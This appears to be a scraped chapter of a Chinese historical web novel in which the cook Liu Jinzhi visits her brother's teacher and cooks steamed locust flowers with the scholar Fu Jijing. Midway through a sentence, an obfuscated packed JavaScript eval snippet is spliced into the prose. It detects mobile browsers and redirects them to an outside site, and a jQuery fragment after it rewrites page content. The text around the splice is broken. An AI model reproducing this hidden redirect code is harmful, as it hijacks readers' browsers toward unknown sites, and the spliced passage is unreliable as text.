刹那间，柳金枝脑子里电光火石般闪过一点灵光。 她想起来了。 这个孟义正是大宋前任宰相！ 42. 榆钱槐花 借着孟义的东风，饭馆的名声在汴京更上一层楼。 前来瞻仰孟义笔墨的书生源源不断。 看累了，再点一碗孟义吃过的碧涧羹。 以至于碧涧羹在饭馆的销量直线上升。 就连不会做碧涧羹的阿芹，在庞大的订单量下，都被逼得学会了。 这恐怖的明星效应。 柳金枝感叹。 不过她也疑惑。 因为借着这些瞻仰学生们的交谈，她得知了孟义的生平事迹。 寒门出身，天赋异禀，位居丞相，却清高自持，不为官场折腰，于是四十五岁之后，毅然辞官归隐。 哪怕有很多人仰慕孟义的才华和操行，想要拜访，也始终找不到孟义的居所。 而为了避开众人，孟义也始终低调。 这种做法让孟义变得更加神秘，却也更令学子们心生向往。 就像在追逐一个永远看不见的偶像一样。 积年累月，产生了巨大的明星效应。 但凡哪儿传来了孟义的传闻，必然会吸引一大堆学子前往。 这架势，就跟唐朝的李太白一样。 所以，孟义亲自出现在她的饭馆，还亲笔挥毫写诗，后续带来的效益孟义自己肯定很清楚。 但他还是来了，甚至手里居然还拿着她出的诗集。 惊才绝艳如孟义，柳金枝并不觉得他会为诗集打动。 那是谁让孟义来的？ 又是谁把诗集送给孟义的？ 思来想去，柳金枝挎着篮子站在黄师道家巷门口。 春光流转，此时已快是暮春时节。 巷门口那棵老槐树结出的槐花越发金黄饱满，黄师道与一名小童正站在槐花树下，一人提篮子，一人拿剪子，正剪下团团簇簇的槐花。 柳金枝笑着走过去，与黄师道福身一礼，道：“黄先生好兴致，怎么在剪槐花？是要吟诗课题么？” 黄师道见她来了，把剪子交给小童，笑道：“我是个俗人，不喜欢吟诗作对，煎炸烹煮倒是很精通。” 然后请柳金枝进门。 “娘子可是来寻柳霄的？这孩子学习很认真，课业进步也很大。” 黄师道说道。 “还是黄先生教导有方，辛苦了。这是我做的一些小点心，您尝尝？” 柳金枝打开食盒盖子。 其实黄师道的眼睛早就盯上食盒了，就是不好意思说。 柳金枝开了口，他一面说“那怎么好意思呢？”，一面忙不迭捉起了竹箸，眼里满是高兴。 旁边小童也很想来看看柳娘子这回又要做什么好吃的，但碍于身份，不敢太上前，就站在一边够着脑袋瞧。 只见柳金枝从食盒里端出一碟龙井茶糕、一碟白茶花酥、一碟梅花汤饼，还有一碗碧涧羹。 这碧涧羹是用汤碗加盖装着，外头还包着一团厚厚白毛巾保温，因此端出来时，黄师道鼻尖还能闻到一股略带酸香的温热味道。 “我早就听说孟大人去了娘子家的饭馆，还题了一首诗。现在谁人不知柳氏饭馆的碧涧羹美味无双，连孟义都为之折腰？” 黄师道搓着手。 “要不是得看着这群小崽子完成学业，我早就想去娘子家的饭馆试试了。” 提起孟义，柳金枝笑了笑，试探性地说： “都说孟大人隐世不出，我也与孟大人无甚交集。孟大人忽然登门，我还颇为惊讶。想着问问先生，是否是您在孟大人面前替我美言了几句……” 黄师道闻言，惊诧地连端碗的动作都停下了。 “我？”黄师道赶忙否认，“我专注于算经，与诗经科的孟大人从无交集，顶多是听过其盛名，但从未有机会结交。” 柳金枝愣了一愣。 黄师道表情诚恳不似作伪，而且他也没有骗自己的必要。 那不是黄师道，还能是谁？ 柳金枝心里冒出一个人名，但想了想，又犹豫的排除了。 傅钗华应当不会帮她到这个程度吧？ 正想着，门口传来一阵敲门声。 柳霄的声音响起：“老师，我把师兄的习题册带回来了。” 柳金枝闻言，笑着站起来道：“霄哥儿回来了，我去开门。” 走到门口，将门拉开，看清门口的人后却是一怔。 傅霁景站在柳霄旁边，手里还拿着一卷稿纸，与柳金枝大眼瞪小眼，场面有一瞬间的沉默。 “阿姐。”柳霄看见柳金枝很高兴的样子，“你来找我了？” “是啊，怕你饿着，来给你送些吃食。” 说着，眼神不由自主飘到傅霁景身上。 自从上次傅霁景在她面前醉酒丢脸后，就将近一个月没在她面前出现过。 柳金枝也没去打扰。 现在再见面，傅霁景耳尖瞬间红了个彻底，一个人默默把头转了过去。 柳金枝咳咳两声，给傅霁景留了点空间，对柳霄道： “先进来再说吧。” “阿姐来的真巧，刚刚师傅还在念叨呢。说你好长时间不来了，他很想念你的手艺。” 柳霄一边进门，一边顺便把手上的习题册抱紧了些。 柳金枝瞧他有掩饰的味道，就凑过去看了看。 发现这些习题册好似都是做过的，字迹与柳霄一模一样。 “这是黄先生给你布置的作业吗？这么厚一本。” 柳金枝问。 黄师道的声音从院子里传来，遥遥道：“我可没有虐待弟子的习惯，这本算题册是霄哥儿自己要的，写了可是算钱的。” 柳金枝想起柳霄此前送她钗的时候，就说是在帮人做题挣钱，但为什么现在还在做？ “霄哥儿，你目前的任务是好好读书。哪里缺了银子，少了吃穿都可以跟我说，阿姐现在供得起你。” 柳金枝道。 她不想柳霄因为银子上的事情而分心耽误学业。 但柳霄抿了抿唇，小声道：“阿姐，放心，还差一点点我就攒够了，到时候我就不写了。” “攒够什么？” “阿姐的生辰礼物。” 柳金枝一愣。 她的生辰礼物？ 是啊，原主是在初夏的时候生的。 现在春日已经过了一半，转眼就是夏季来临，原主该过生辰了。 柳金枝心中一软，忍不住摸着柳霄的脑袋：“你呀，阿姐怎么会在意这些外物？阿姐最在乎的是你的心意。” “我知道阿姐不在乎，可是我就想送给阿姐。那天我看见阿姐难得穿了一身漂亮衣裙，特别好看，可是平常都看不见阿姐这样穿。” 柳霄一笑。 “我不想阿姐会羡慕别人家的娘子有漂亮衣裙，所以我也想送给阿姐一套。” 柳金枝心里暖暖的。 看着柳霄的眼神更加柔和。 但还是道：“只许这一次，往后都不许做了。” 柳霄点点头。 黄师道笑道：“霄哥儿，你师兄怎么没从书斋过来？” “就快了。” 柳霄应了一声，拉着柳金枝到一边，低声道：“阿姐，这位师兄就是之前为我们介绍画师的那位，这些习题册也是承蒙他关照，我才拿到手的。” 柳金枝明白。 柳霄的意思是想借着今天碰面，把人情还上。 就笑着说：“看这日头，想必已过了正午。大家应该都饿了，不如我今日留下来做一手槐花饭，等人齐了正好可用。” 黄师道笑着说：“我当然是求之不得，膳房里的东西娘子随意取用，想让谁搭把手，说一声就好。” 柳金枝接过黄师道手上的篮子和剪刀，走到门口接着剪槐花。 柳霄帮姐姐去打水，预备等会儿洗菜。 黄师道就想招呼傅霁景。 岂料他连话都没来得及说出口，傅霁景就先一步往门口走去。 口中只道：“我去帮忙。” * 门外头，柳金枝提了一只篮子摘槐花。 春日里的槐花生的最好，肥美洁白的花瓣团团簇簇凑在一起，重重压在枝头垂落下来，就好像一个倒挂式的蜂巢。 柳金枝拿着一个剪子，用篮子在下面托底，剪去槐花的枝，让饱满的花瓣落在篮子里，而不落在地上。 融融春光之下，她做的认真，白皙红润的脸在春日的照耀下更显秀丽好看。 傅霁景耳尖红起来，显然还忘不了醉酒之后的丢人回忆，可还是走到柳金枝身边，问： “娘子可要帮忙？” 柳金回过头，见傅霁景面似火烧的样子，忍不住笑道：“二郎肯见我了？” “我从未回避过娘子。” 傅霁景闷声说，然后接过柳金枝手里的篮子。 柳金枝也不与他客气，把篮把手松开，抬起剪子继续动手。 两个人虽然没怎么交流，可动作之间很有默契。 柳金枝的剪子伸到哪儿，傅霁景就把篮子递到哪儿，没一次让槐花掉下来过。 有时候柳金枝动作慢了，傅霁景还会主动去迁就她。而柳金枝也时不时注意傅霁景的动作，确认他把篮子递到了才动手剪。 两个人看似在剪槐花，却在春光下逐渐生出一种暧昧来。 柳金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610200|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝纵使从容些，可也是脸发烧。 背脊生了细密的汗，颗颗从背心划入背脊，像是有根羽毛在扫一样，心跳的很厉害。 傅霁景脸上还端得住，可红到滴血的耳尖早就出卖了他。 不过两个人每一个主动说话，就这么默默的剪花枝。 直到整个篮子都满的装不下了，柳金枝才咳嗽两声，说：“好了。” 傅霁景退后两步，攥紧了篮子的把手，轻声道：“我们接下来做什么？” “把槐花洗了。” “那、那我来洗。” 傅霁景提着篮子进门了。 好似男子在心悦之人面前紧张的时候，都偏向于用干活儿来掩饰自己。 傅霁景背对着柳金枝，生疏地将袖子挽到手肘上，蹲在黄师道家的井水口边洗槐花。 因为他没用攀膊，所以袖子每隔一段时间都会往下滑，然后傅霁景再把袖子撸上去。就这么反复来回，傅霁景倒是一点也不嫌烦，还是温和又耐心。 柳金枝也不知自己是怎么想的，大概是见傅霁景总是这样温和包容的模样，就想对他再好一些。 就犹豫地走到傅霁景身边说：“要不……我给你挽吧。” 傅霁景愣了一下，抬起头来看她。 眼中，柳金枝偏着头，手捏着衣角，眼神有些许慌乱。 傅霁景又慢慢把眼眸垂下，小心翼翼开口：“嗯。” 然后乖乖站起来任柳金枝动作，像个完全没脾气的泥人。 柳金枝感叹这世界上这么会有傅霁景这样好脾气的名门子弟，手上倒赶紧帮傅霁景挽好了袖子。 两个人又分开。 傅霁景还是低头细心地洗槐花，这回袖子没再滑落了，但傅霁景不知怎得，手上动作还是很慢，很慢。 直到柳金枝将火都生了起来，红彤彤的火焰映照着柳金枝清丽无双的眉眼，傅霁景才抿了抿唇，将槐花从水里捞了出来。 柳金枝接过洗净的槐花，放入一个干净的木盆里，再取来菜籽油淋入盆里，将每朵槐花都浸入油里。 又取来粉质细腻的好面粉，同样倒入盆中，用手去抓槐花，确保让每一朵槐花都均匀的裹上面粉和油，最后把槐花倒入蒸笼之中，以大火蒸上四分钟，就可以取出拌匀调料了。 傅霁景不懂膳房里的事，见柳金枝弄的这样快，问：“这样就好了吗？” “是啊。”柳金枝将调料瓶一字排开摆在自己面前，“槐花毕竟是花嘛，植物类菜系都不用蒸太久，不然就稀烂了，口感也不会好。” 傅霁景难得有点似懂非懂。 柳金枝见他露出懵懂表情，忍不住笑着解释道：“菜一类的东西蒸的快，因为最上层的蒸汽是最烫的，没一会儿就熟了。如果是用炒的呢，时间就可以长点。” “槐花还能炒吗？” 傅霁景看起来更迷茫了。 在他的世界观里，好像花都是用来赏的，又或者是用来作诗的。 “当然能了。” 柳金枝笑道：“槐花裹上面粉，蒸熟之后伴着调料吃，就是酸酸辣辣的口感。槐花拌着鸡蛋液，放在锅里炒，口感就跟香椿炒鸡蛋差不多。槐花裹上面粉放进油锅里炸，就酥酥脆脆，又香又好吃。” “除了这些，还可以做槐花饺子啦、槐花鸡蛋汤啦、槐花泡茶啦，很多很多种吃法。” 毫不夸张的说，傅霁景瞪圆了眼睛。 他以往只知道槐花有很多首赞颂的诗作，第一次知道原来槐花的吃法比诗多。 “是我孤陋寡闻了。” 傅霁景不好意思。 他以往只知道柳金枝做菜很厉害，没想到食物里面也有很多弯弯绕绕。 傅霁景问道：“娘子会做多少道菜？” “没细数过，但算起来，百余道肯定是有了。” 傅霁景有些惊讶，道：“娘子是何时开始学习做菜的？” “从……” 柳金枝下意识想说“从小学起”，但尔后意识到自己的身份，换了个说法： “半路出家罢了。” 半路出家就能有这样的手艺和见识？ 傅霁景微叹一声：“娘子天赋异禀，我自愧不如。” “术业有专攻。”柳金枝洒然一笑，“傅郎君厉害在读书，我就厉害在做饭。这么算起来，其实咱俩都很厉害。” 要是旁人听见这种话，说不定要为傅霁景鸣不平。 一个榜首，和一个膳工娘子。 根本没有可比性嘛。 但傅霁景望着柳金枝的笑眼，眼里闪烁着温柔的光，勾起唇角点头。 “嗯，娘子说的在理。”